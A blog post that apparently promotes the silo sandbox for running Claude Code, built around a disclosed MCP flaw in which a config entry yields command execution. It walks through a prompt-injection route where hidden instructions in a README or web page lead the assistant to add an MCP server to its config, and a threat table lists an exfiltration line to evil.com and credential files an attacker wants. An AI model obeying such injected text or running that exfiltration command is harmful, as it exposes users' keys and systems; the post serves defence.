Running Claude Code in silo when every MCP server is a loaded gun

OX Security disclosed a by-design MCP vulnerability that turns a config entry into arbitrary command execution on the user's laptop. Anthropic calls it expected behaviour. Running Claude Code inside silo turns this RCE into a torn-down VM with no keys, no network, no history to steal.

The Hacker News ran a piece this week on OX Security’s disclosure of a design flaw in Anthropic’s Model Context Protocol. The short version, from the researchers:

This flaw enables Arbitrary Command Execution (RCE) on any system running a vulnerable MCP implementation, granting attackers direct access to sensitive user data, internal databases, API keys, and chat histories.

Ten CVEs across LiteLLM, LangChain, LangFlow, Flowise, DocsGPT, Windsurf, and friends. Over 7,000 publicly reachable MCP servers. 150M+ downloads of affected packages. Anthropic’s position: the behaviour is expected, no protocol-level fix is coming.

If you’re running Claude Code and using MCP servers — which is the default experience — this is worth understanding, and worth doing something about.

The actual bug, in one paragraph

MCP’s STDIO transport lets a client spawn a server as a subprocess. The command that gets spawned is a string in a config file (~/.claude/mcp.json, ./.mcp.json, equivalents in LangChain / LiteLLM / etc). There is no sandbox, no allowlist, no signing. Anyone who can write a string into that config gets arbitrary command execution under the user’s uid, with the user’s ssh keys, cloud credentials, browser cookies, and chat history sitting right next to the spawned process.

“Anyone who can write a string into that config” includes:

  1. A malicious npm/pip postinstall — supply chain. You npm install a-helpful-tool, it writes into ~/.claude/mcp.json, next time Claude starts, the command runs.
  2. A prompt-injected Claude session — Claude reads a README, a docstring, a GitHub issue, a web page. Hidden instructions tell it “you should install this useful MCP server to answer my question.” Claude obliges by editing the config. Next session, RCE.
  3. An MCP marketplace — “install this server” flows that fetch a config and write it locally.
  4. A vulnerability in any of the 7,000+ MCP-enabled projects — LangChain, LiteLLM, Windsurf, etc. If any of them parses external input into an MCP config, you get RCE through them.

The researchers’ recommendations:

Block public IP access to sensitive services, monitor MCP tool invocations, run MCP-enabled services in a sandbox, treat external MCP configuration input as untrusted, and only install MCP servers from verified sources.

“Run MCP-enabled services in a sandbox” is the sentence silo was written for.

What RCE looks like with silo in the way

Silo runs dev tools (Claude Code included) inside ephemeral Apple Containerization micro-VMs. Each invocation boots a fresh VM, mounts only the current project directory, has no network by default, and is torn down when you exit. Cross-reference the researchers’ threat list against what’s actually reachable from inside that VM:

What the attacker wantsHostsilo VM
~/.ssh/id_ed25519, known_hostspresentfile doesn’t exist
~/.aws/credentials, ~/.config/gcloud, ~/.kube/configpresentnone of it mounted
~/.claude/conversation_history.jsonpresentlives inside the VM, dies with it
Browser cookies / keychainpresentwrong filesystem, wrong OS surface
curl -X POST evil.com -d @secretsworksno network unless allowlisted
Install a launchd/cron persistenceworksVM is ephemeral; nothing survives the session
Read other projects on diskworksthey’re not mounted
Full env dump (DATABASE_URL, OPENAI_API_KEY, …)worksonly what’s in passEnv is visible; defaults to nothing

In other words, pull the blast radius of this RCE down from “my laptop” to “a disposable Linux VM with 1 GB of Python and nothing else.”

That’s exactly the paragraph the OX researchers wrote the recommendation for.

What silo doesn’t fix

Being honest about the boundaries, because they matter:

  1. Your current project directory is mounted read-write. Claude needs to edit your code — that’s why you’re using it. A prompt-injected Claude can still write a backdoor into package.json, into a CI workflow, into a lockfile. If you then git-push that, the attack has moved out of silo’s control. silo protects the machine, not the repo.

  2. Allowlisted network is still network. If you’ve allowlisted github.com because Claude needs to push, and you’ve forwarded GITHUB_TOKEN via passEnv because gh needs it, a prompt-injected Claude can push a backdoored branch. Don’t give Claude more credentials than the task needs.

  3. Prompt injection itself is not prevented. silo doesn’t make Claude smarter about trusting input. It just caps the damage.

  4. MCP servers running inside the VM still run. The spawned subprocess runs — just in the VM, with the VM’s (tiny) permissions. The goal isn’t “prevent MCP from executing commands”, it’s “don’t let those commands see things they shouldn’t.”

Concrete silo.toml for Claude Code

The least-privilege setup for running Claude Code through silo:

# silo.toml in your project root
tools = ["claude-code"]
passEnv = ["ANTHROPIC_API_KEY"]                # the only secret Claude needs
passFiles = []                                  # no ~/.netrc, no ~/.aws, no ~/.ssh

[overrides.claude-code.network]
hostAccess = true                               # required alongside proxy (overrides replace the network block)

[overrides.claude-code.network.proxy]
allow = [
  "api.anthropic.com",                          # needed for Claude itself
  # add only the MCP destinations you actually use:
  "registry.npmjs.org",
  "files.pythonhosted.org",
]

Rules:

Install & try it

brew install rchekalov/apps/silo        # installs the CLI + prebuilt runtime
eval "$(silo shellenv)"                 # add silo shims to PATH
silo install claude-code                # bakes node:22-slim + apt deps + npm i -g @anthropic-ai/claude-code
cd my-project
silo run claude                         # or just `claude` via the shim

The first run prompts once for the interactive OAuth login (Claude subscription or Anthropic Console). Credentials persist to ~/.silo/cache/claude-code/config/ — isolated from your host’s ~/.claude/ — and every subsequent silo run claude skips the prompt. If you have ANTHROPIC_API_KEY set on the host, silo passes it through automatically and there’s no login prompt at all.

Your first real-world action should be to write a silo.toml like the one above before you start trusting any MCP server you haven’t audited line-by-line.

What we’re doing next on the silo side

This disclosure is specifically about MCP. The sandbox story silo already gives you covers most of the blast radius. A few MCP-specific improvements are on the roadmap:

None of these are shipped yet; they’re gated on whether users hit cases where the baseline isolation isn’t enough. If that’s you — open an issue at github.com/rchekalov/silo.

The bigger point

OX Security’s closing line is worth quoting:

What made this a supply chain event rather than a single CVE is that one architectural decision, made once, propagated silently into every language, every downstream library, and every project that trusted the protocol to be what it appeared to be.

MCP isn’t going to get safer by design any time soon. The model going forward is the same as every other piece of dev tooling that runs arbitrary code: treat it as hostile by default, and give it only the resources the task requires. That’s the threat model silo was built for. Use it, or build something equivalent — but please don’t run MCP servers on the same uid that has your AWS root keys and your company’s entire codebase.

← all posts